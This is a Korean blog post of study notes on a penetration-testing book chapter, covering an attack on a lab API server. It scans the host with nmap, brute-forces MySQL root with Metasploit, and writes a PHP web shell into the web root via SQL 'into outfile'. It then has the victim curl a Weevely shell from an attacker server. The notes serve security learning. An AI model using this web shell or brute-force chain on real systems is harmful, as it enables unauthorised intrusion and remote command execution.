선릉역 1번 출구

[Becoming the hacker] Low-Hanging Fruit 본문

Project/Program

[Becoming the hacker] Low-Hanging Fruit

choideu 2023. 10. 22. 00:24

침투테스트에서 black box test가 유도될 때, OSINT가 도움이 되지 않는 정보이거나, 인터페이스가 직관적이지 않고 유저 친화적이지 않을 때 어려움을 겪음

 

이런 문제에 직면하면 API의 내부 연결이나 역공학을 시도하는 것 대신에 우회를 선택할 수 있음

  • 강철 문이 아닌 창문으로 들어오기

Network assessment

- 잘 알려져 있지 않은 취약점을 exploit하기 위해 애쓰기 전, 해당 API 서버에 노출된 다른 서비스를 확인하자

*여기서 바라는 것은 개발자가 해당 서버를 배포할 때의 실수를 범하는 것임

- nmap 스위치/옵션

-sV 식별된 서비스의 버전 스캔 수행
-A 운영 체제 탐지를 시도하는 호스트 핑거프린팅 제공
-T4 침입 탐지 시스템에 의해 탐지될 위험이 있는 스캔 속도를 향상 시킴
-Pn 타겟을 핑하는 것을 방지
-P1 -p1-65535의 축약버전으로 타겟의 모든 가능한 포트를 스캔하도록 함

* 스위치는 Nmap 명령어 또는 옵션에서 사용되는 특별한 키워드 또는 문자열을 의미함

- 80 포트를 통해 구동되는 어플리케이션 서버가 아닌 노출된 DB 서버를 통해 attack을 시도할 수 있음

- 해당 DB 서버의 CVE를 찾아서 exploit을 시도할 수 있음

Becoming the hacker 63P

 

Looking for a way in

- nmap scan 결과 DB에 대한 version을 Return 받지 못할 때, Metasploit commands를 사용할 수 있음

  • scanner module 사용: use auxiliary/scanner/mysql/mysql_version
  • 모듈에 대한 추가 정보 확인: show info

  • db_nmap 결과가 DB에 저장되어 있기 때문에 services 명령어를 통해 해당 모듈의 parameter를 자동으로 설정: services -s mysql -R
  • 파라미터를 모두 setting하면, 남은 할 일은 해당 모듈을 구동시키는 것임: run
  • 스캔 결과가 나올 때 업데이트된 결과를 확인 가능함: services -s mysql

- mysql의 OS version을 획득했지만, 해당 인스턴스에 CVE 취약점이 없는 경우 칼리로 root user로 로그인 시도

  • mysql -u root -h [host]

Credential guessing

- mysql instance의 원격 접속 취약점을 발견하지 못했기 때문에 다음 시도는 root에 대한 비밀번호를 알아내는 것임

- 일반적으로 사용되는 password directory를 사용해 brute-force 공격을 시도함

- Metasploit을 사용하여 Mysql login 패스워드 추측 공격을 쉽게 행할 수 있음

  • mysql_login auxiliary scanner module을 사용
  • 이 모듈은 tuning에 사용가능한 몇가지 옵션이 있음
  • noise를 줄이고 더 효율적인 공격을 하기 위한 옵션 설정
    • set THREADS 10 - 속도 향상
    • set VERBOSE false - 성공 결과만 출력
    • set STOP_ON_SUCCESS true - 로그인 성공 시 attack stop
  • 모듈 실행: run

- DB root 유저의 계정을 탈취 > 해당 DB가 API 서버가 사용하는 DB일수도 있고 아닐수도 있으나 셀을 생성하는 방법과 API 서버와 확장을 통해 목표를 exploit 하는 것이 가능한지 살펴볼 것임

  • curl
  • select "[shell code]" into outfile "[/path/to/file.php]";
select "<?php phpinfo();/*ECorpAppTest11251*/ ?>" into outfile "c:/xampp/htdocs/xampp/phpinfo.php";

*ECorpAppTest11251은 해당 shell을 clean up하지 못했을 때 blue team에게 알리는 용도의 flag임

 

- api.ecrop.local/xampp/phpinfo.php 경로를 접속하여 해당 파일이 open되었다면 [shell code]를 아래와 바꿔 system() 명령이 가능한 code로 재작성해줌

select "<?php if (md5($_GET['password']) == '4fe7aa8a3013d07e292e5218c3db4944') { system($_GET['cmd']); } ?>" into outfile "c:/xampp/htdocs/xampp/xampp.php";

*

해당 코드는 http request가 아래와 같을 때 system 명령이 가능함

 

A better way to shell

앞서 제작한, 단순 shell은 연속적인 명령어 호출을 하는 것이 어렵기 때문에 Weevely라는 더 뛰어난 shell을 사용할 예정

weevely generate [pw]

python의 SimpleHTTP를 사용하여 임시 웹 서버를 생성하여 간단한 실습 진행(아파치나 nginx 설정이 필요 없음)

- weevely에서 생성한 shell.php 파일과 동일한 디렉터리에서 아래 명령어를 통해 SimpleHTTPServer를 로드

python -m SimpleHTTPServer 80(2.x)
pythom -m http.server 80(3.x)

방법

  • 공격자 서버에 weevely로 파일을 생성하고, 간단한 웹서버로 구동시킴
  • 피해자 PC에서 생성한 쉘을 통해 curl 명령어를 실행하여 공격자 서버에 업로드된 shell.php를 다운
  • 공격자 서버에서 weevely http://피해자 URL/shell.php [pw]로 쉘 실행

요약

  • 보안을 제대로 지키는 것은 어려움 -> attacker들은 이를 악용하여 공격을 함
  • application 프로그램 개발 cycle에서 응용 프로그램 코드 자체에 집중하기 때문에 보조시스템에 대한 제어는 덜할 것이라 가정함
  • nmap을 통해 애플리케이션 서버를 스캔하여 추측하기 쉬운 비밀번호로 구성된 데이터베이스 서비스를 찾고, 인접 서비스에 대한 access를 통해 코드를 실행하고 궁극적으로 대상 서버에 접근하였음

if any at all 극소수
obscure 모호한, 잘 알려져 있지 않은
hammer away 몹시 애쓰다
scrutinize 세심히 살펴보다
recon(=reconnaissance) 정찰
outdated 구식의
in order A to B A가 B하기 위해
fall short 부족하다
uncover 알아내다
alert 알리다
resilient 회복력
spawn 생성하다
stumbled upon 우연히 만나다
stumble 발이 걸리다
succession 연속
obfuscated 애매하게 만들다
spawn (어떤 결과를) 낳다
compromised 손상된
auxiliary 보조의

 

Comments